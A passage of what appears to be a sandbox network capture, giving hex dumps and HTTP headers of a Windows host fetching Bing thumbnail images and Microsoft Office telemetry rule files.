2024-11-28 01:27:23 UTC	16384	IN	Data Raw: d3 4a d2 8e de ca ce f6 d6 df c3 70 7f a3 df c5 f6 69 65 bb ff 00 49 9b 7e cf de fc 9f c1 5c 95 e4 b2 6a 5a a4 b1 dc 7d b6 d7 4b 8a 5f 2f cd fe 38 fc bf d7 75 76 d1 ad ed 61 cb 1f 74 83 7b fd 1b c9 96 ce 38 3e cb 6f e6 fe f6 5f f7 a9 9a 7a 6a d7 fa a5 ad e6 8f 07 9b 71 6b ff 00 1e b6 bf 23 f9 89 fe da ff 00 1f fc 07 e6 ae 63 50 7b 67 b2 fd de b9 7b f6 7f 2b f7 56 b7 70 ec ff 00 d0 2a 6f 37 5e f0 de a9 2d e5 9c f6 51 7e f7 cc 8b fd 37 e7 ff 00 79 2a fe ab 3e 4e 58 fc 5e 65 ff 00 88 ea bc 41 2c 96 7a 5c b2 5e 4f fe 87 2c bf f1 2f d4 3c ef f5 8f ff 00 4c 77 7f 0f fb d5 c6 59 e9 56 d3 6a 91 47 1d f4 d2 c9 e5 79 91 7f d3 c4 bf ef 7f 76 9f a7 eb 56 53 43 2c 76 f3 cd 2f da a5 8f cd 8a 58 7c e7 b8 95 be ff 00 cb ed 5d b5 bf 85 ec ac 34 cf f4 cb e9 a2 b7 96 2f 2f Data Ascii: JpieI~\jZ}K_/8uvat{8>o_zjqk#cP{g{+Vpo7^-Q~7y>NX^eA,z\^O,/<LwYVjGyvVSC,v/X\|]4//
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: ab fd c6 ff 00 d9 6b c8 c4 d6 ad 3f 8f 53 a6 10 81 a5 e2 cd 4e d9 ec b4 fb 38 e0 f3 64 f3 7c bf fa e9 17 fb 35 89 71 ac 5c a4 df 63 b7 9f fd 1f f7 9e 6f f7 ff 00 e0 35 5b 54 f2 ec f5 48 a4 b8 9f ca fd ef ef 7f 8d ff 00 d9 a6 6b 9f 66 9a 69 6e 23 fd d4 9f f1 ed 17 95 f7 36 54 53 84 22 05 9b 84 b6 b9 bd 8a e2 e2 0f f4 7f f9 e5 69 fe bb 7a d4 d2 25 b5 87 95 27 9f 7b 75 6f fe b3 ca ae 6f ed 77 29 07 99 fb 9f 33 e4 f3 7c aa b9 a3 de db 5c de fd 9f fe 5a 4b fe aa aa a4 0d 0f 42 b3 96 d9 fc 31 6b 6f fb 9f 2e 28 9f cd fd f7 93 ff 00 8f d7 07 a8 6a 17 3a 6e a9 2f fc b2 b8 8a 5f dd 4b fe f5 75 52 79 76 76 5e 67 91 34 b2 7f cb 58 bf e7 a2 55 0b 8b 2b 6d 4a 19 64 d3 e7 f3 64 fd df 9b f7 3f 79 fe cb b3 57 35 14 1f e2 2f c9 2d b7 fc 23 1e 5c 97 d3 45 e6 ff 00 ad 96 2f Data Ascii: k?SN8d\|5q\co5[THkfin#6TS"iz%'{uoow)3\|\ZKB1ko.(j:n/_KuRyvv^g4XU+mJdd?yW5/-#\E/
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: d6 0c 76 97 b6 70 e9 fa e7 fa 15 ff 00 da a5 93 fd 6f cf e7 ed fe 07 a9 b5 cf 1a eb 5a f6 b5 16 a1 ae 6a b3 5f ff 00 ac 8f ec b1 43 bf ec e8 df f2 cd 1b f8 2b d1 74 6b 25 18 d2 97 b8 b7 ee 47 d8 f7 be 23 6e 3b 78 de 19 6e 34 79 e1 bf 8e fe 2f 2f ca 96 f7 62 6e 5f f6 2b d8 64 b7 b2 d0 66 8b fb 53 fe 3e 22 d2 be c5 17 95 f2 3f cf b3 fd 57 95 ff 00 7c ef 5f 99 eb 26 4b 2f 0c 68 9e 1f fb 1c 9a 54 32 dc 4b a7 c7 fb d8 61 f3 be ce 9f c7 f7 be ff 00 fe cd 5c de b9 e3 58 df ca b3 8f 55 fd e7 95 1d b4 be 74 3b fe 4f e2 af 98 ad ed 31 ce 3e cb e1 d7 7e a4 7b 6e 43 bc d3 ec b4 59 bc 41 36 a9 71 fe af 41 8a 4b 98 ad 7c ef dc c7 bb fe 5a ba 7f ec ff 00 c5 55 b5 0f 13 49 79 ad 7f 6b c9 63 0c 57 92 c5 fe b6 59 be 49 e2 91 37 c7 2c b1 af f0 57 98 d9 c5 6f a5 79 31 ea 90 Data Ascii: vpoZj_C+tk%G#n;xn4y//bn_+dfS>"?W\|_&K/hT2Ka\XUt;O1>~{nCYA6qAK\|ZUIykcWYI7,Woy1
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 05 b5 9d 94 51 de 5f 43 f6 7b a9 7c b8 bc a9 ab 13 c6 96 f1 cd e2 0b bd 42 39 e0 ff 00 89 a4 51 f9 b1 45 ff 00 3d 5b e5 93 e6 ff 00 6a bd 1c be 33 5c d4 a7 d4 ce b4 fe d1 a5 f0 7f ec d7 97 b7 57 9a 87 9d f6 7f de 79 52 ff 00 e8 35 b7 a5 a5 93 f8 47 cb bc b1 ff 00 48 f3 7f 75 75 14 3f 3f fb 6b 25 50 d1 de 4d 37 45 fe cb b7 ff 00 8f 7f 2a 4f 2a 2f bf f3 b5 16 72 c9 0c 31 47 71 3c d1 49 14 bf fa 0f f0 d6 75 a5 cd 3e 68 81 73 fb 3e f6 19 be cf 27 93 2c 72 c5 1f 9b e5 7f ec b5 67 4f f3 2d af 7c cf 3e 69 7c db 4f f4 af 2b fe 7a af dc ad 5b 7b 7b 6f f8 f8 92 7f f9 6b e6 7e fb fe 79 7f b7 55 b4 bb 88 e6 fb 54 91 fe f7 cd 96 4f dd 45 fe d7 ff 00 13 51 ed 0b e4 e5 39 2f 18 45 7b 61 ad 78 7f 5c 8e c7 fd 22 5f 32 39 65 8b fc ff 00 76 8f 05 bf f6 56 8b ff 00 1f d0 c5 Data Ascii: Q_C{\|B9QE=[j3\WyR5GHuu??k%PM7EO/r1Gq<Iu>hs>',rgO-\|>i\|O+z[{{ok~yUTOEQ9/E{ax\"_29evV
2024-11-28 01:27:23 UTC	16065	IN	Data Raw: b5 3f e2 5f 7d f6 a9 22 97 cb 8b fe 58 fe eb fb 9b ff 00 da aa ac 49 db 7c 3b b4 d5 b4 7f 0f dd 78 5e f3 fe 3d e5 8a 79 2d 6e bc ed 93 7d ab fb 9e 5b d5 9d 2f c4 ba 96 83 34 57 97 93 d9 4b ff 00 2e 51 6a 11 7f cb bc 4b f3 7e f1 ff 00 83 fd ca e3 35 c4 b6 9b c4 11 5e 59 df 4d aa 59 c5 75 e6 5a fe fb ce fb 26 df f9 67 fe dd 33 5c b4 b6 d6 ec ae ae 2c f5 c9 a5 b8 d2 ed 64 92 ea 2b bf f9 78 8b 7f fa c4 7e 95 e6 c7 0b cd 3e 69 f5 03 d0 b4 bf 11 c6 ff 00 65 d5 2e 2f a1 96 e2 28 a3 b6 f2 be fc d1 fc ff 00 de ff 00 6a a8 5c 78 96 da db fb 42 f3 4b d2 a1 b0 8e 29 7f e5 97 fc bc 6d 7f 99 a5 af 34 b7 b8 bd 48 6e a3 fd f7 ef 7c bf dd 57 55 e0 3b 29 35 8f f5 96 33 4b 6f 14 bf bd f3 7f 7c 97 72 ff 00 cf 2f e1 a5 5a 84 30 ff 00 bd e6 08 51 9d 5f 74 de b3 bd b2 7f b2 db Data Ascii: ?_}"XI\|;x^=y-n}[/4WK.QjK~5^YMYuZ&g3\,d+x~>ie./(j\xBK)m4Hn\|WU;)53Ko\|r/Z0Q_t
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: e9 63 97 cb ff 00 5b fd c5 aa d7 97 b2 59 de c5 6f ff 00 4d 7c c9 7f eb 95 1c 9c d0 f2 61 ed 07 de 3c 9f f1 f1 1c 1e 55 bf fa bb af df 6f fb b5 37 da 2c 93 f7 9f be 96 4b 58 a4 fd ec bb 26 4d bf ec 56 6e a9 ff 00 2c 64 ff 00 9e b1 7f bf f2 55 9d 9f e9 be 5c 73 de ff 00 aa fd ef 95 0f fb 15 3c 9c c2 e7 26 d3 e5 8d e6 fb 44 7f bd ff 00 96 7e 6c bf f2 d3 77 fb 15 7e 4d 6e d9 3f d6 4f e6 dc 4b 2f fa df f7 7f db fe f5 66 d9 da 7d 9b ca 92 4f 26 58 e2 8b cc fd ef fa 9a 35 44 8e c3 ca 92 4f f5 9f f2 ca 29 61 7f b9 fe 7f 86 94 e8 c2 73 f7 87 cf 3e 42 ce a1 ac 5e cd 0f 99 25 8f 9b 1c b2 f9 b2 cb 77 f2 3e ff 00 ee d4 37 8f f6 cd 6b cb b7 f3 ad 63 96 28 ff 00 7b fb ef 27 fb df c5 44 77 76 cf 7b f6 88 fc e8 a3 f2 bf d6 f9 df 27 fc 0f 7d 53 d5 2e e4 f3 bf d3 3f 75 e6 Data Ascii: c[YoM\|a<Uo7,KX&MVn,dU\s<&D~lw~Mn?OK/f}O&X5DO)as>B^%w>7kc({'Dwv{'}S.?u
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 5a b9 a8 4b 1e a5 65 14 97 1e 74 5f 60 8a 49 3c df e3 91 2b 2b 4b 48 ee 6c bf 77 7d e5 79 bf f4 c7 e4 ff 00 77 6d 3e de df 5a 9a ca 2b 8b 3b 1b df 32 2f f5 be 54 3b 13 65 47 24 3d 0e 59 cc bf 1d c4 76 73 79 92 41 0c b1 cb e4 7e ea 58 7e 78 f6 d1 78 b6 5a c4 df bc 82 6f f9 e7 17 f7 eb 06 e2 5b 99 a6 f3 3c ff 00 36 38 bf e7 94 d5 36 8f a9 c8 9f bc 93 fe fe d4 7b 19 c3 df 8e e1 3e 7f 88 a7 ae 69 ff 00 d8 fa 5f fa 3d f7 da bf d2 bf 7b 14 b0 ff 00 9f c6 b2 a4 bd 8d e6 fb 47 91 5d 3e f8 f5 8b 18 be d9 e4 da fe f7 fe 59 7f 7e b1 fe cf fd 95 37 99 fe b6 39 7f d5 4b 17 fc b4 4f f8 15 76 51 ad fc ff 00 10 42 7f cc 32 ce 59 5f fe 3e 20 fd dc bf bc f3 7f d8 a8 75 04 b9 86 f6 5f 33 fd 2a 38 bf d5 4b ff 00 3c e9 9e 6d b5 e6 a9 fe 8f fb af 37 fe f8 f9 7e f5 4d 1c b1 c3 Data Ascii: ZKet_`I<++KHlw}ywm>Z+;2/T;eG$=YvsyA~X~xxZo[<686{>i_={G]>Y~79KOvQB2Y_> u_3*8K<m7~M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49749	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:22 UTC	346	OUT	GET /th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 01:27:22 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 685668 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: AEC68BA38F0E4437B8A197FD19039A9C Ref B: EWR30EDGE0106 Ref C: 2024-11-28T01:27:22Z Date: Thu, 28 Nov 2024 01:27:21 GMT Connection: close
2024-11-28 01:27:22 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a 1c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 33 38 3a 34 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:38:418
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: fe 85 5a 45 a7 2b 5c 21 45 ca c4 b7 7a ac 16 ff 00 7f f7 93 c7 ff 00 2c e2 a4 d2 b5 08 35 08 76 7e e6 39 e3 ff 00 97 69 7e 7f 92 b1 e7 82 37 9a 44 f3 bf d5 ff 00 ac ff 00 80 ff 00 76 a4 b1 59 13 4f fb 6a 43 34 72 47 27 ee e4 fe 3f f6 ab 5a b8 4a 2e 1a 3f 78 ef a4 bd 9c 92 be e6 bc 97 91 db ea 1e 45 d7 93 6f 1f fc b3 92 5f f9 69 56 bf 76 f0 fc f0 f9 9e 67 ef 3c ca a5 03 c7 71 36 fb df f5 7e 5f ef 3f b9 59 71 df 5a 45 34 89 a7 4d fe 8b ff 00 3c ff 00 db af 3a 54 69 df dd 7a a3 d0 f6 f1 a5 69 b7 ee fe 27 51 05 9a 24 df b8 ff 00 96 94 5a e9 f3 c5 37 cf 0f ee fc ba e5 75 5d 7a ed 7c b4 48 66 b7 8e 4f f5 72 7f cf 3f f7 ab 26 fa f3 ed 13 49 7b 6b ac 4d 71 e5 ff 00 ac 8f cd ff 00 eb d6 1c d2 5a 2d 2e 6b fd a5 49 bf 71 5f e6 7a 34 1a 7f fa 24 88 9e 4c 7e 5f ef 24 Data Ascii: ZE+\!Ez,5v~9i~7DvYOjC4rG'?ZJ.?xEo_iVvg<q6~_?YqZE4M<:Tizi'Q$Z7u]z\|HfOr?&I{kMqZ-.kIq_z4$L~_$
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 1a 85 b2 69 de 75 ec 71 fe f3 fb 8f f2 d1 56 bc 47 77 f6 79 a3 d4 74 bf 26 49 e3 df e5 c9 17 fb 9b b6 b5 15 c1 4f eb 15 e0 a5 4e 31 4b cf 72 ad e7 f8 1c 07 87 2f be c9 35 cc f3 f9 5e 44 92 79 91 fe f7 e7 8f 77 fb 35 af ae 6a b6 96 50 c6 f7 53 4d 24 92 7f cf 2a 77 88 fe 18 4e ff 00 e9 5a 45 e5 a4 9f f4 ce e7 e4 ff 00 c7 ab 9c f1 8f 87 b5 d8 b5 68 e0 fb 1f 99 75 24 7e 5f fa 37 dc af d1 e1 fd 9f 8b ac a5 ed 2d dd 6d d8 f0 6b 52 c6 e1 69 b8 f2 76 b3 3a 3b 5f 16 68 57 70 ec bd fd dc 91 ff 00 cb 39 65 f3 92 b7 b4 36 8e e2 ee 44 b5 d4 bc c8 fc bf dd ff 00 7e 3f f6 6b c8 e3 d3 35 a8 ae e4 d3 9f 4d bb f3 23 ff 00 59 6d 5e 9b a6 b5 da 5a 5b 24 fa 6f ef ed ff 00 d5 fe eb fd 62 57 9b 9c 65 f8 7c 34 57 d5 a5 7e 6f 35 a1 d1 80 c4 54 ac 9a a8 ac d1 af 27 97 69 a8 46 89 Data Ascii: iuqVGwyt&ION1Kr/5^Dyw5jPSM$*wNZEhu$~_7-mkRiv:;_hWp9e6D~?k5M#Ym^Z[$obWe\|4W~o5T'iF
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: fe af f7 bb d2 4f ee b4 6d 5c fe a5 ad 47 e2 0f b4 dd 5a c3 36 9d 75 7b 73 e5 c9 e6 fc f0 f9 bf ef 75 4a d8 f1 c6 af 61 ff 00 12 db a9 f4 d8 75 18 ee 3f 77 f6 29 62 f2 5f e5 ff 00 66 b9 7f 0c c5 e1 ad 33 c6 f7 da 5e a3 a3 dd c7 75 24 9f e8 d6 57 32 ba 7d 9f 77 f1 6e 4a d3 03 18 ba 53 c6 ba 6d 4e d7 b2 b7 d9 76 7a 5f f1 6a de 65 54 51 bc 61 7d 2e 6f f8 9b cb d1 f4 f8 f4 b7 bc bb bd d5 6e 2c 9f cc f3 7f d4 fc bf ec 55 7f 85 7f 67 96 d7 cf 9f ec 9f 6a ff 00 96 71 cb fe a6 3d bf dd a3 e2 a5 8e 93 a8 68 7f d9 69 a9 5d ff 00 6c 69 d2 7d a2 da 3b 9f 9f e4 ff 00 62 4d b5 57 e1 e7 86 6e de d6 c5 27 87 49 b8 ff 00 9f d8 fe d6 8f 34 9f ef ab fc 94 df d5 e7 92 ca 75 64 e3 26 f5 ba b6 dd bc 9f 43 47 c8 ab af 23 67 5c f1 b7 da 35 09 34 7b a9 a1 d2 af b4 eb 94 93 cb b9 Data Ascii: Om\GZ6u{suJau?w)b_f3^u$W2}wnJSmNvz_jeTQa}.on,Ugjq=hi]li};bMWn'I4ud&CG#g\54{
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 4d 6a aa b2 95 4e 6b 68 50 f8 43 7d a6 e9 36 92 5d 59 4d 34 93 de c8 ff 00 6d 8e 5f bf 1b ff 00 0f cd ed 54 2f bc 4d 7f 69 35 cc fa 3d 9f 99 fe 92 f2 49 fb dd 9f f0 2a e7 fc 01 e1 ab bd 43 cb ba b5 d7 a1 b7 93 cb fd e4 72 c4 fb 37 ff 00 73 ad 77 57 11 6a de 1f f8 7b 73 a7 5d 59 fe e3 e7 8e db f8 fc cd cf f3 ee ff 00 66 bb 73 1a 18 2a 19 83 52 6a a5 49 b4 9a 77 db f5 b6 c2 8d 7a b3 a2 9a d1 25 d3 a9 5e 4f 18 cf aa da 7d b6 7f 3a de 4b 7b 6f 32 49 3f 8e 3d bf c6 db 6b 4b c1 6d a9 5d 6a d1 ea f0 69 b6 92 69 b2 6f 93 ed ba 94 5f f1 f0 db 3f e5 96 ee 6b 37 f6 75 d3 e3 b7 b4 be 92 49 7e cf 25 ed cb c7 24 77 3f 3a 48 ab f7 57 67 f7 6b 53 e2 06 a1 ae e8 9e 19 fe ce fe cd bb d4 67 92 e7 cb 8f ca 87 ce 48 ff 00 ad 78 78 c8 d1 58 f9 e5 b8 58 a4 af 6d 5d ac 9e f6 5d Data Ascii: MjNkhPC}6]YM4m_T/Mi5=ICr7swWj{s]YfsRjIwz%^O}:K{o2I?=kKm]jiio_?k7uI~%$w?:HWgkSgHxxXXm]]
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: c3 1f d9 7c ef 2f fd 64 72 7f cf 4f f6 6b 6c b6 8c e7 88 f6 58 84 54 9d e3 74 c8 34 af 14 7d 9e 1f 9e 6f de 7f d7 54 4a 7d f5 e4 7a 87 88 6c 5e 08 7c cb af fa 76 97 fd 67 fb dd ab 87 b5 69 ee 35 6d 9f f3 d3 fd 5f fb f5 e9 3e 0b b6 fe c7 87 63 ff 00 af 92 4f f9 65 2f 9c 95 ee 66 34 28 61 13 a9 15 ef b5 b1 e6 61 ea 3c 4a e4 7d 19 bd e7 dd da 43 1a 4f 0c d2 49 ff 00 7d f9 74 fd 4b 4a 9e 5f 2e f7 ce 86 3f 2f fd 67 f7 24 4a 66 a5 79 3c be 5e c8 66 93 fe 7a 49 15 55 8e fb 7c de 43 c3 e6 7f d7 5f 91 ff 00 dd af 8e 84 2b 2b 4a 2a cf a9 eb 17 fe dd f6 4d 42 38 1f fd 45 c4 75 5e fa ce ed ed 24 d9 79 0f 97 27 fc f5 97 e7 aa b2 36 9b fe ae 08 66 f2 ff 00 e9 af fc b3 ff 00 be aa 8d f6 bd 1e 9f a8 47 65 3c df bb ff 00 57 fe b5 2b 4c 3e 1a a5 49 2f 63 1d 6d d7 c8 99 49 Data Ascii: \|/drOklXTt4}oTJ}zl^\|vgi5m_>cOe/f4(aa<J}COI}tKJ_.?/g$Jfy<^fzIU\|C_++J*MB8Eu^$y'6fGe<W+L>I/cmI
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 93 cd 44 78 f7 7f 12 2f f1 57 47 71 f0 b7 c2 da 0e b9 27 91 15 dd cc 77 16 de 64 71 dc cb f3 da 5c 27 f1 ee 5f bc 86 b9 ef 11 eb da 15 bf 8c a4 d6 ed 7e c9 1c 92 5b 25 bf ee a2 d9 0d 7d 95 1a d9 66 3a 8c a9 65 f4 b9 9b 57 e6 71 fc 2d f7 9c d5 b9 a0 d5 49 74 ec ce d7 c6 b2 c1 e2 5f 0f 49 e1 bd 3e 6f f8 99 59 47 e7 c7 fc 09 71 f3 d7 01 a3 b5 ff 00 86 b5 68 ed 75 ed 1e ee dd 2d e3 f3 24 8e 28 b7 bf fb 2d 50 6b 1e 2c 83 f7 77 af 0c 3f f7 f7 7f fe 3b 51 78 57 c5 57 7a 9f 8b 2d a0 d3 bf 79 ff 00 2d 3e cd e5 79 c9 f2 ff 00 75 6a b0 79 2e 2f 07 81 a9 45 c5 3a 5a b6 9d d5 9f 5d 53 fd 0e 6a 98 a5 3a aa 49 58 f4 bf 88 0d 77 e1 cf 0c d8 eb d6 b0 fd a2 0b 99 12 48 ef 62 f9 2e 7e 6f e0 f9 38 ae 5f c7 fa 2f 8a 2e ed 2d b5 44 f0 de a1 27 ee fc cb 98 e2 b4 ff 00 57 fe d3 Data Ascii: Dx/WGq'wdq\'_~[%}f:eWq-It_I>oYGqhu-$(-Pk,w?;QxWWz-y->yujy./E:Z]Sj:IXwHb.~o8_/.-D'W
2024-11-28 01:27:23 UTC	16065	IN	Data Raw: a3 bd d3 3b 25 55 ba ae 36 b9 d3 69 7a 75 df 85 f5 6b d4 92 1f b3 41 7b 1a 47 1f ef 77 a4 89 b3 fb d5 e4 f3 c1 ae f8 83 c4 da 96 89 a2 d9 ea 12 49 f3 c7 1d 97 9b fd df fc 77 6d 7a 5f 83 75 fb 4f 12 99 2c ae 7c ab cb 58 f7 c9 e5 de fc 9e 67 f0 fc cb 57 e4 b3 d3 34 1d 72 5b ad 1f fe 24 bf da 31 a4 92 79 71 3e c9 3f e0 55 d5 84 cd b1 19 7d 6a df 58 87 36 21 a5 6b ad 34 6b 56 b7 d8 52 a2 f1 0a 12 7f 0d cf 3d f0 24 b3 f8 6a 2b ed 3b 5e d3 66 8e 49 2c 92 48 ed ae 7f bf fe ef f1 2d 74 9e 15 b9 bb d1 cc 97 5a dd e4 36 53 de ff 00 c7 b5 b4 b2 f9 3f f8 f7 f0 56 bf 8d 60 b4 f1 3e 93 6d f6 ab c9 7c cd 36 e5 24 8e 49 37 a4 de 53 7f d3 5f ee d7 19 f1 0b cf d2 a6 97 cf 86 2b 6b 5f 31 3e cd 24 b2 bc c9 27 fb 35 dd 46 b5 2c de 6e 9d 48 a8 d4 9f c4 bd 36 e5 ed 7b dd 93 52 Data Ascii: ;%U6izukA{GwIwmz_uO,\|XgW4r[$1yq>?U}jX6!k4kVR=$j+;^fI,H-tZ6S?V`>m\|6$I7S_+k_1>$'5F,nH6{R
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: b1 c7 be 3f dd 6c 9a 39 5b f8 ab 8e 93 5a f1 67 89 74 fb 6f b7 4d f6 7b 1b 38 fc b8 e4 96 5d 90 fc bf 7b e6 fb d4 df f6 96 7d 80 96 1f 13 56 36 52 d5 b4 95 97 44 92 dc 6e 30 a3 55 4a dd 15 8f 4c f8 95 ae c9 6f a1 df 7d 8b 47 bb 8e 0b 98 fc 88 e5 b6 95 2d e2 8f fd fd df c5 58 df 03 e0 f1 4d c4 df da fa bc da 8d c5 8f 97 ff 00 1e df 23 c3 27 fd f3 5c 54 1e 21 d2 6e 2e ec 60 d6 e1 bb 8e c7 cc ff 00 59 f6 b7 74 93 fe 07 cd 7a b7 f6 d5 bd 95 9c 73 c1 0e a1 1e 9b e5 fe f3 cb 97 f7 32 7f df 5c d7 9d 99 e0 a5 96 60 16 0a 14 af 29 ef 27 e5 a5 a3 e6 fa fc 8d 63 59 d6 9d d6 85 7b 89 74 4d 33 c5 12 5d 5e c3 34 73 7f cb bd bd f6 9e 89 e4 23 7c db 19 76 e1 fd ab 92 f8 c7 a3 c7 e1 fb cb 6f 19 78 32 cf 4f b7 fb 67 ee ef 6c a3 d8 96 df 37 f1 2a e6 ba 3f 89 53 e9 be 2d d3 Data Ascii: ?l9[ZgtoM{8]{}V6RDn0UJLo}G-XM#'\T!n.`Ytzs2\`)'cY{tM3]^4s#\|vox2Ogl7*?S-
2024-11-28 01:27:23 UTC	16384	IN	Data Raw: 97 1b fe cd 24 51 79 d0 dd fc ff 00 c3 fe 0d 5c 3f 8f 27 4f 26 38 6e a6 f2 ef bf e5 9f 9b 17 c9 e5 7f bd 5e d7 0b c5 ac 54 9f 2d e9 4b 48 af 9d f7 eb 6e bd 8c 2b a6 e4 9b 5a bd cd cf 85 da 9f 83 21 bc b9 fb 55 9d a5 95 f7 96 fe 56 a5 27 f9 f9 1a b4 6f b5 eb ff 00 10 78 ca 38 34 7f 3a e6 ee 39 7f e5 a4 a9 e4 ff 00 f6 15 e4 16 37 32 45 a8 6c fd cf fd 34 f3 7e 44 ff 00 be bf 86 bd 27 e0 cb a4 3e 28 b9 ba 48 7e d1 27 c9 04 92 7d fb 7f 29 ff 00 87 fd ea f6 b3 ac a2 96 06 35 b1 b2 f7 df 2e 89 ea bf ce de 57 3a 30 b8 9b d3 74 dc 74 3d 6e de 5f 1c 5c 78 4f ec da a6 9b 14 77 d6 f2 79 91 c9 2f 92 fe 62 ff 00 77 6d 70 ff 00 15 75 0d 17 5a f0 6c 73 bc d1 49 7d a7 5c a4 77 3f e8 bb 1e 06 ff 00 75 b9 ae c2 df c4 76 8f 0d f6 91 1c b3 59 c7 a7 47 b3 cc f2 bf 75 1c bf f4 Data Ascii: $Qy\?'O&8n^T-KHn+Z!UV'ox84:972El4~D'>(H~'})5.W:0tt=n_\xOwy/bwmpuZlsI}\w?uvYGu

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:22 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012722Z-174f7845968cdxdrhC1EWRg0en0000000xtg000000001c6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:22 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
